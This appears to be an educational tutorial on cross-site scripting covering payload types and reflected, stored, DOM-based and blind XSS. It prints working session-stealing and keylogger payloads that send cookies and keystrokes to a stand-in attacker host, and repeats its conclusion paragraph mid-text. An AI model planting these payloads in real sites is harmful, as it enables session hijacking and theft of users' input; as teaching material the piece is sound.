What is Cross-site Scripting?

Unrestricted web applications allow users to attack other users' accounts with Cross-Site Scripting, also known as XSS in the cybersecurity world. It's a type of injection assault where attackers inject malicious JavaScript into a website in order for it to be loaded and executed by other people.

If you can get JavaScript to execute on a user's computer, you may do a lot of things. This might range from monitoring the victim's cookies to seizing control of their session, running a keylogger that records every keystroke the user makes while visiting the website, or redirecting them to an entirely different website altogether.

XSS Payloads

The payload in XSS is the JavaScript code we want to execute on the target's computer. There are two components to the payload: an intention and a modification.

The intention is what you want the JavaScript to do in practice, while the modification defines the changes to the code that must be made in order for it to execute as each situation is unique.

Examples of XSS Intentions

Proof of Concept

This is the most basic type of payload, and all you want to accomplish is show that you can XSS a webpage. This is generally achieved by causing an alert box to appear on the page with random text, such as:

<script>alert('Yaj, XSS the webpage!');</script>

Session Stealing

Cookies on the computers of targets are commonly used to store information about a user's session, such as login tokens. The following code utilizes a JavaScript function to steal the victim's cookie, base64-encode it for transmission, and then post it to a website controlled by the hacker. The cookies may be used by hackers to take control of the target's session and be recorded as that person.

<script>fetch('https://hackerwebpage.com/steal?cookie=' + btoa(document.cookie));</script>

Key Logger

The following script is a key logger. This means anything you type on the website will be sent to a website under the hacker's control. If the site where the payload was delivered accepted user registrations or credit card information, this might be quite dangerous.

<script>document.onkeypress = function(e) { fetch('https://hackerwebpage.com/log?key=' + btoa(e.key) );}</script>

Types of XSS

Reflected XSS

When user-supplied data is included in the source of an HTTP request without any validation, it becomes possible for a reflected XSS vulnerability to occur.

Potential Impact

The attacker may post links or embed them in an iframe on a different website to potential victims, enticing them to execute code on their browser, potentially leaking session or consumer data.

Test for Reflected XSS

Every conceivable entrance should be tested; these include:

• Parameters in the URL Query String
• URL File Path
• Sometimes HTTP Headers

Stored XSS

The XSS payload is saved on the web application (in a database, for example) and then run when other people visit the site or page.

Potential Impact

The attacker's malicious JavaScript might redirect users to another site, capture the user's session cookie, or execute other website operations while posing as a visitor.

Test for Stored XSS

You'll need to test every conceivable entry point where data is believed to be stored and then presented back in areas that other users have access to.

Once you've discovered some data that's being kept in a web application, you'll need to ensure that your JavaScript payload will work; your code will probably be injected into a text area in a web page somewhere.

DOM Based XSS

What is the DOM?

The Document Object Model (DOM) is a programming interface for HTML and XML documents. It functions as a proxy for the document, allowing applications to modify the document's structure, style, and content. A web page is a document, and it can be viewed in the browser window or as an HTML source file.

Exploiting the DOM

JavaScript is executed inside the client-side web browser within the DOM. This refers to attacks that target websites where the data isn't being transmitted or submitted to a backend server.

Potential Impact

The malicious code may be used to capture information from the user's session and redirect them to another website or steal content from the page or their session.

Test for DOM Based XSS

DOM Based XSS is difficult to test for and needs a thorough understanding of JavaScript to comprehend the source code. You'd need to search for bits of user-supplied input in the DOM (Document Object Model) and then inject your code.

You must also study how they are handled and whether the values are ever written to the web page's DOM or passed to unsafe JavaScript functions like eval() or setTimeout().

Blind XSS

Blind XSS is similar to stored XSS in that your payload is saved on the site for another user to view, but you can't see the payload working or test it against yourself.

Potential Impact

The attacker's JavaScript may call back to the attacker's website, revealing the portal URL, cookies, and even what is being viewed on the portal page. Now the hacker has access to a staff member's session and has access to their personal portal.

In conclusion, XSS vulnerabilities are usually the biggest risk when it comes to web applications and websites, because of their potentially disastrous effects on the target's computer. The best way to protect against these attacks is by using proper input validation on all user-supplied data, and always being on the lookout for regular expression exploits.

Test for Blind XSS

A call back is required for testing for Blind XSS attacks. This way, you can determine if and when your code is run.

xsshunter is a popular tool for Blind XSS assaults. Although constructing your own JavaScript program is possible, this program will automatically collect cookies, URLs, page contents, and more.

Conclusion

In conclusion, XSS vulnerabilities are usually the biggest risk when it comes to web applications and websites, because of their potentially disastrous effects on the target's computer. The best way to protect against these attacks is by using proper input validation on all user-supplied data, and always being on the lookout for regular expression exploits.

References:

• OWASP XSS

• Webappsec

• OWASP XSS Cheat Sheet